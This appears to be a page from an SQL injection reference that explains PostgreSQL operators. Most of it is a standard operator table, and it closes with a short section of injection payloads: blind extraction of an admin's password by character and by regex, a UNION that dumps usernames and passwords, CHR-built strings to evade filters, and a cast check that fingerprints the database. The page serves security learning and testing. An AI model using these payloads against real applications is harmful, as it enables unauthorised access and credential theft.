postgresql

Operators

PostgreSQL operators useful for SQL injection techniques

Operators

Understanding PostgreSQL operators is essential for crafting effective SQL injection payloads. This reference covers the most useful operators for SQL injection techniques.

Comparison Operators

OperatorDescriptionExample
=EqualSELECT * FROM users WHERE id = 1
<> or !=Not equalSELECT * FROM users WHERE id <> 1
>Greater thanSELECT * FROM users WHERE id > 1
>=Greater than or equalSELECT * FROM users WHERE id >= 1
<Less thanSELECT * FROM users WHERE id < 10
<=Less than or equalSELECT * FROM users WHERE id <= 10
BETWEENBetween rangeSELECT * FROM users WHERE id BETWEEN 1 AND 10
IS NULLNull checkSELECT * FROM users WHERE email IS NULL
IS NOT NULLNot null checkSELECT * FROM users WHERE email IS NOT NULL
IS DISTINCT FROMNULL-safe not equalSELECT * FROM users WHERE name IS DISTINCT FROM 'a'
IS NOT DISTINCT FROMNULL-safe equalSELECT * FROM users WHERE name IS NOT DISTINCT FROM NULL
LIKEPattern matchingSELECT * FROM users WHERE name LIKE 'a%'
ILIKECase-insensitive LIKESELECT * FROM users WHERE name ILIKE 'ADMIN'
SIMILAR TOSQL regex patternSELECT * FROM users WHERE name SIMILAR TO 'a%'
~POSIX regex matchSELECT * FROM users WHERE name ~ '^a'
~*Case-insensitive regexSELECT * FROM users WHERE name ~* '^A'
!~Regex not matchSELECT * FROM users WHERE name !~ '^a'
!~*Case-insensitive not matchSELECT * FROM users WHERE name !~* '^A'
INIn setSELECT * FROM users WHERE id IN (1,2,3)

Logical Operators

OperatorDescriptionExample
ANDLogical ANDSELECT * FROM users WHERE active=true AND admin=true
ORLogical ORSELECT * FROM users WHERE id=1 OR username='admin'
NOTLogical NOTSELECT * FROM users WHERE NOT id=1

Important: PostgreSQL uses || for string/array concatenation and && for array overlap—not for logical operations (use AND/OR instead). This differs from some databases but both PostgreSQL and MySQL require explicit AND/OR keywords for logical operations.

String Operators

OperatorDescriptionExample
||String concatenationSELECT 'hello' || ' ' || 'world'
CONCAT()Concatenate stringsSELECT CONCAT(first_name, ' ', last_name) FROM users
CONCAT_WS()Concatenation with separator (9.1+)SELECT CONCAT_WS('-', 'a', 'b', 'c') (returns ‘a-b-c’)

Mathematical Operators

OperatorDescriptionExample
+AdditionSELECT id+1 FROM users
-SubtractionSELECT id-1 FROM users
*MultiplicationSELECT id*2 FROM users
/DivisionSELECT id/2 FROM users
%ModuloSELECT id % 2 FROM users
^ExponentiationSELECT 2^3 (returns 8)
|/Square rootSELECT |/25 (returns 5)
||/Cube rootSELECT ||/27 (returns 3)
@Absolute valueSELECT @ -5 (returns 5)

Bitwise Operators

OperatorDescriptionExample
&Bitwise ANDSELECT 5 & 1 (returns 1)
|Bitwise ORSELECT 5 | 1 (returns 5)
#Bitwise XORSELECT 5 # 1 (returns 4)
<<Left shiftSELECT 1 << 2 (returns 4)
>>Right shiftSELECT 4 >> 2 (returns 1)
~Bitwise NOTSELECT ~1 (returns -2)

Type Cast Operator

PostgreSQL has a unique cast operator :::

SELECT '123'::int;          -- Cast string to integer
SELECT 123::text;           -- Cast integer to text
SELECT '2025-01-01'::date;  -- Cast string to date
SELECT 1::boolean;          -- Cast to boolean (true)

Array Operators

OperatorDescriptionExample
@>ContainsARRAY[1,2,3] @> ARRAY[1,2]
<@Is contained byARRAY[1,2] <@ ARRAY[1,2,3]
&&Overlap (arrays)ARRAY[1,2] && ARRAY[2,3]
||Array concatenationARRAY[1,2] || ARRAY[3,4]
[n]Array subscript(ARRAY[1,2,3])[1] (returns 1)

Note: PostgreSQL arrays are 1-based, so [1] returns the first element, not the second.

JSON/JSONB Operators

OperatorDescriptionExample
->Get JSON element'{"a":1}'::json->'a' (returns 1)
->>Get JSON element as text'{"a":1}'::json->>'a' (returns ‘1’)
#>Get by path'{"a":{"b":1}}'::json#>'{a,b}'
#>>Get by path as text'{"a":{"b":1}}'::json#>>'{a,b}'
@>Contains (JSONB)'{"a":1}'::jsonb @> '{"a":1}'::jsonb
?Key exists'{"a":1}'::jsonb ? 'a'

Usage in SQL Injection

Boolean-Based Blind Injection

-- Testing if admin exists
' OR EXISTS(SELECT * FROM users WHERE username='admin') --

-- Character by character extraction
' OR ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=97 --

Using String Concatenation

-- PostgreSQL uses || for concatenation (NOT logical OR)
' UNION SELECT 'admin'||':'||password FROM users --

-- Building strings to avoid filters
' UNION SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) --

Regex-Based Injection

-- Using POSIX regex for blind extraction
' OR (SELECT username FROM users LIMIT 1) ~ '^a' --

-- Case insensitive regex
' OR (SELECT username FROM users LIMIT 1) ~* '^ADMIN' --

Type Cast for Database Detection

-- PostgreSQL-specific :: cast syntax
' AND 1::int=1 --

-- Will fail on MySQL/MSSQL, confirming PostgreSQL

Operator Precedence in PostgreSQL

From highest to lowest (per PostgreSQL documentation):

  1. . (table/column name separator)
  2. :: (typecast)
  3. [] (array element selection)
  4. +, - (unary plus, unary minus)
  5. COLLATE (collation selection)
  6. AT (AT TIME ZONE, AT LOCAL)
  7. ^ (exponentiation)
  8. *, /, % (multiplication, division, modulo)
  9. +, - (addition, subtraction)
  10. (any other operator) — includes ||, user-defined operators
  11. BETWEEN, IN, LIKE, ILIKE, SIMILAR
  12. <, >, =, <=, >=, <>
  13. IS, ISNULL, NOTNULL (IS TRUE, IS FALSE, IS NULL, IS DISTINCT FROM, etc.)
  14. NOT
  15. AND
  16. OR

Truth Table for Logical Operators

Expr1Expr2ANDOR
TRUETRUETRUETRUE
TRUEFALSEFALSETRUE
FALSETRUEFALSETRUE
FALSEFALSEFALSEFALSE
NULLTRUENULLTRUE
TRUENULLNULLTRUE
FALSENULLFALSENULL
NULLFALSEFALSENULL
NULLNULLNULLNULL

Key Differences from MySQL

  1. || is string concatenation, NOT logical OR
  2. # is bitwise XOR (MySQL uses ^)
  3. ^ is exponentiation (MySQL uses POW())
  4. ~ and ~* are regex operators
  5. :: is the cast operator (unique to PostgreSQL)
  6. No <=> NULL-safe equal (use IS NOT DISTINCT FROM)
  7. No logical XOR keyword (bitwise XOR is #; for logical XOR use A != B or (A OR B) AND NOT (A AND B))